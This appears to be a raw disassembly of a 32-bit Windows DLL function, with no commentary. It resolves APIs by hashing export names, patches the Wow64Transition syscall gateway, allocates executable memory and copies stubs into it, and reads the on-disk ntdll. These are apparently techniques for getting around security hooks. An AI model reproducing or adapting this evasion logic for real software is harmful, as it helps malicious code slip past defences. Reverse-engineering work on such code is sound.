mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x6b8]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014fad5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014fbcf
xor eax, eax
jmp 0x1014fc63
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x69c]
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x81
jmp 0x1014fb8d
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014fbe2
xor eax, eax
jmp 0x1014fc63
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014fc41
nop dword [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1014fc3b
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014fc10
jmp 0x1014fc41
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1014fc50
xor eax, eax
jmp 0x1014fc63
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2e30], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0x102b1f0c
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2e28]
mov ecx, dword [0x102b2e24]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1014feaf
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x8dc], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x8dc]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014fdc0
lea eax, [ebp - 0x8dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014fdc0
nop dword [eax]
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0x60]
call fcn.100400e0
mov byte [ebp - 4], 0x8b
lea eax, [ebp - 0xd64]
push eax
lea ecx, [ebp - 0x60]
call fcn.10082650
lea ecx, [ebp - 0x60]
mov edi, dword [eax]
lea eax, [ebp - 0xd90]
push eax
call fcn.10082630
lea ecx, [ebp - 0x60]
mov esi, dword [eax]
lea eax, [ebp - 0xd94]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd98]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1014fdda
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x8dc]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014fd10
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014fe0b
xor eax, eax
jmp 0x1014fea4
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x8c0]
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x81
jmp 0x1014fdc9
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014fe1e
xor eax, eax
jmp 0x1014fea4
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014fe82
nop word [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1014fe7c
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014fe50
jmp 0x1014fe82
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1014fe91
xor eax, eax
jmp 0x1014fea4
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2e24]
mov dword [0x102b1f10], eax
mov dword [ecx + 2], eax
push dword [ebp - 0x14]
push dword [0x102b2e24]
push dword [0x102b1f0c]
call fcn.10171890
mov eax, dword [0x102b2df4]
add esp, 0xc
sub eax, dword [0x102b2df0]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2e30]
mov dword [ebp - 0x44c], 0
test eax, eax
jne 0x101500c8
push eax
push 8
mov dword [ebp - 0xb00], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xb00]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014ffe4
lea eax, [ebp - 0xb00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014ffe4
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0x78]
call fcn.100400e0
mov byte [ebp - 4], 0x92
lea eax, [ebp - 0xd68]
push eax
lea ecx, [ebp - 0x78]
call fcn.10082650
lea ecx, [ebp - 0x78]
mov edi, dword [eax]
lea eax, [ebp - 0xd9c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x78]
mov esi, dword [eax]
lea eax, [ebp - 0xda0]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xda8]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x78]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1014fffe
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0xb00]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014ff35
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1015002f
xor eax, eax
jmp 0x101500c3
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xae4]
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x81
jmp 0x1014ffed
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x10150042
xor eax, eax
jmp 0x101500c3
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x101500a1
nop dword [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1015009b
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x10150070
jmp 0x101500a1
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x101500b0
xor eax, eax
jmp 0x101500c3
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2e30], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
lea ecx, [ebp - 0x44c]
push ecx
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2df4]
mov ecx, dword [0x102b2df0]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f0c]
mov dword [ecx + 6], eax
push dword [ebp - 0x14]
push dword [0x102b2df0]
push dword [ebp - 0x44c]
call fcn.10171890
mov ecx, dword [ebp - 0x44c]
add esp, 0xc
mov eax, dword [0x102b2e1c]
mov dword [0x102b1f08], ecx
mov dword [0x102b2dec], ecx
mov dword [ebp - 4], 0xffffffff
jmp 0x10150135
mov ecx, dword [0x102b2dec]
test al, 2
jne 0x10150761
or eax, 2
mov dword [0x102b2e1c], eax
mov dword [ebp - 4], 0x99
xorps xmm0, xmm0
push str.C:WindowsSysWOW64_ntdll.dll
lea ecx, [ebp - 0xa8]
movlpd qword [ebp - 0xd34], xmm0
call fcn.100400e0
mov byte [ebp - 4], 0x9a
lea eax, [ebp - 0xd6c]
push eax
lea ecx, [ebp - 0xa8]
call fcn.10082630
lea ecx, [ebp - 0xa8]
mov esi, dword [eax]
lea eax, [ebp - 0xda4]
push eax
call fcn.10082650
lea ecx, [ebp - 0xd5a]
push ecx
push esi
push dword [eax]
lea ecx, [ebp - 0xc0]
call fcn.10150ca0
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x460], 0x10
call fcn.101253b0
mov edi, dword [sym.imp.WINTRUST.dll_WinVerifyTrust]
mov dword [ebp - 0x45c], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x47c], eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x458], 0
push eax
push 0
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x24], 0xaac56b
mov dword [ebp - 0x20], 0x11d0cd44
mov dword [ebp - 0x1c], 0xc000c28c
mov dword [ebp - 0x18], 0xee95c24f
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x494], 0x34
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 2
mov dword [ebp - 0x484], 0
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x468], 0
call edi
mov esi, eax
mov dword [ebp - 0x478], 2
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
call edi
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0xc0]
call fcn.10082670
mov byte [ebp - 4], 0x9a
lea eax, [ebp - 0xc0]
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0xa8]
call fcn.100403e0
mov byte [ebp - 4], 0x99
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xd78], eax
mov byte [ebp - 4], 0x99
test esi, esi
jne 0x1015073c
push 0xb8
lea eax, [ebp - 0x178]
push esi
push eax
call fcn.10171fe0
add esp, 0xc
lea ecx, [ebp - 0x178]
push 1
push 0x40
push 0x24
push str.C:WindowsSysWOW64_ntdll.dll
call fcn.1004d850
mov byte [ebp - 4], 0xa2
lea eax, [ebp - 0xdc4]
push eax
lea ecx, [ebp - 0x178]
call fcn.1013fbd0
push 0
push 0
push 0
mov esi, dword [eax + 8]
lea ecx, [ebp - 0x178]
add esi, dword [eax]
call fcn.1013fcf0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
movq qword [ebp - 0x30], xmm0
lea ecx, [ebp - 0x30]
push esi
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
call fcn.10150ee0
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0x178]
push 0
push esi
push dword [ebp - 0x30]
call fcn.1013fe40
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x101506e6
mov eax, dword [ebp - 0x30]
mov ecx, 0x5a4d
mov dword [ebp - 0xd40], eax
cmp word [eax], cx
je 0x101503ca
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x101506f2
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 0xd3c], esi
cmp dword [esi], 0x4550
je 0x101503f8
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x101506f2
mov edi, dword [esi + 0x78]
test edi, edi
je 0x10150446
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1015043c
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1015042e
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x10150436
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x10150418
mov esi, dword [ebp - 0xd3c]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x10150448
mov eax, edi
mov ecx, dword [ebp - 0xd40]
lea edi, [ecx + eax]
mov eax, dword [edi + 0x20]
mov dword [ebp - 0xd38], edi
test eax, eax
je 0x101504b8
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
test eax, eax
je 0x101504a9
mov esi, dword [ebp - 0xd38]
mov edi, dword [ecx + 0xc]
cmp dword [esi + 0x20], edi
mov esi, dword [ebp - 0xd3c]
jb 0x1015049b
mov eax, dword [ecx + 8]
add eax, edi
mov edi, dword [ebp - 0xd38]
cmp dword [edi + 0x20], eax
jb 0x101504a9
movzx eax, word [esi + 6]
jmp 0x101504a1
mov edi, dword [ebp - 0xd38]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x10150471
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, dword [edi + 0x20]
mov ecx, dword [ebp - 0xd40]
lea edx, [ecx + eax]
mov dword [ebp - 0xd28], 0xffffffff
xor eax, eax
mov dword [ebp - 0xd2c], edx
mov dword [ebp - 0x448], eax
cmp dword [edi + 0x14], eax
jbe 0x10150585
nop dword [eax]
mov edi, dword [edx + eax*4]
test edi, edi
je 0x10150534
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x10150524
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x10150516
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1015051e
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x10150500
mov esi, dword [ebp - 0xd3c]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd40]
add eax, edi
jmp 0x10150536
xor eax, eax
add ecx, eax
mov edx, 0x811c9dc5
call fcn.100644d0
cmp eax, 0xe06437fc
je 0x10150573
mov eax, dword [ebp - 0x448]
mov edi, dword [ebp - 0xd38]
inc eax
mov ecx, dword [ebp - 0xd40]
mov edx, dword [ebp - 0xd2c]
mov dword [ebp - 0x448], eax
cmp eax, dword [edi + 0x14]
jb 0x101504e0
jmp 0x10150585
mov edi, dword [ebp - 0x448]
mov dword [ebp - 0xd28], edi
mov edi, dword [ebp - 0xd38]
mov eax, dword [ebp - 0xd28]
cmp eax, dword [edi + 0x14]
jbe 0x101505ab
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x101506f2
mov edi, dword [edi + 0x24]
test edi, edi
je 0x101505fe
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x101505f4
nop dword [eax + eax]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x101505e6
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x101505ee
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x101505d0
mov esi, dword [ebp - 0xd3c]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x10150600
mov eax, edi
mov ecx, dword [ebp - 0xd40]
add eax, ecx
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0xd38]
mov edi, dword [eax + 0x1c]
test edi, edi
je 0x10150668
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x10150658
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1015064a
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x10150652
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x10150634
mov esi, dword [ebp - 0xd3c]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd40]
add eax, edi
jmp 0x1015066a
mov eax, edi
mov edx, dword [ebp - 0xd28]
add ecx, eax
mov eax, dword [ebp - 0xd2c]
movzx eax, word [eax + edx*2]
mov edi, dword [ecx + eax*4]
test edi, edi
je 0x101506c8
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x101506be
nop dword [eax]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x101506b6
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x101506be
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x101506a0
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x101506ca
mov eax, edi
add eax, dword [ebp - 0xd40]
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x101506f2
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x30]
call fcn.100583a0
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0x108]
call fcn.10043d80
lea eax, [ebp - 0x108]
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x99
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1016e78d
add esp, 4
jmp 0x10150748
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov dword [0x102b2dfc], esi
mov dword [0x102b2e00], edi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [0x102b2dec]
mov eax, dword [ecx + 6]
mov eax, dword [eax + 2]
mov dword [ebp - 0xd60], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x101509a9
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0xd24], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xd24]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x101508c1
lea eax, [ebp - 0xd24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x101508c1
nop dword [eax]
lea eax, [ebp - 0xd04]
push eax
lea ecx, [ebp - 0x90]
call fcn.100400e0
mov dword [ebp - 4], 0xa5
lea eax, [ebp - 0xd70]
push eax
lea ecx, [ebp - 0x90]
call fcn.10082650
lea ecx, [ebp - 0x90]
mov edi, dword [eax]
lea eax, [ebp - 0xd78]
push eax
call fcn.10082630
lea ecx, [ebp - 0x90]
mov esi, dword [eax]
lea eax, [ebp - 0x448]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd3c]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x101508db
mov dword [ebp - 4], 0xa9
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd38], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xd24]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x101507f0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1015091b
xor eax, eax
jmp 0x1015099e
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xd08]
mov dword [ebp - 4], 0xa6
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd30], eax
mov dword [ebp - 4], 0xffffffff
jmp 0x101508ca
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1015092b
xor eax, eax
jmp 0x1015099e
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
or edx, 0xffffffff
mov dword [ebp - 0xd30], eax
cmp dword [ecx + 0x14], esi
jbe 0x10150981
nop dword [eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1015097f
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x10150950
or edx, 0xffffffff
jmp 0x10150981
mov edx, esi
cmp edx, dword [ecx + 0x14]
jbe 0x1015098a
xor eax, eax
jmp 0x1015099e
mov eax, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add eax, edi
movzx eax, word [eax + edx*2]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
mov ecx, dword [0x102b2dec]
mov dword [0x102b1f10], eax
cmp dword [ebp - 0xd60], eax
je 0x101509b5
xor ecx, ecx
jmp 0x101509c7
mov eax, dword [0x102b2dfc]
mov dword [ecx + 1], eax
movzx eax, word [0x102b2e00]
mov dword [ecx + 0xd], eax
push 0
push dword [ebp - 0x450]
call ecx
mov ecx, dword [ebp - 0x450]
test ecx, ecx
je 0x10150a13
mov eax, dword [str.admin]
mov dword [0x1029b6b0], eax
mov ax, word [0x101ec35c]
push ecx
mov word [0x1029b6b4], ax
mov dword [0x1029b6d0], 0x61cf9980
mov dword [0x1029b6d4], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x10150a15
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1016fd3e
mov esp, ebp
pop ebp
ret 0xc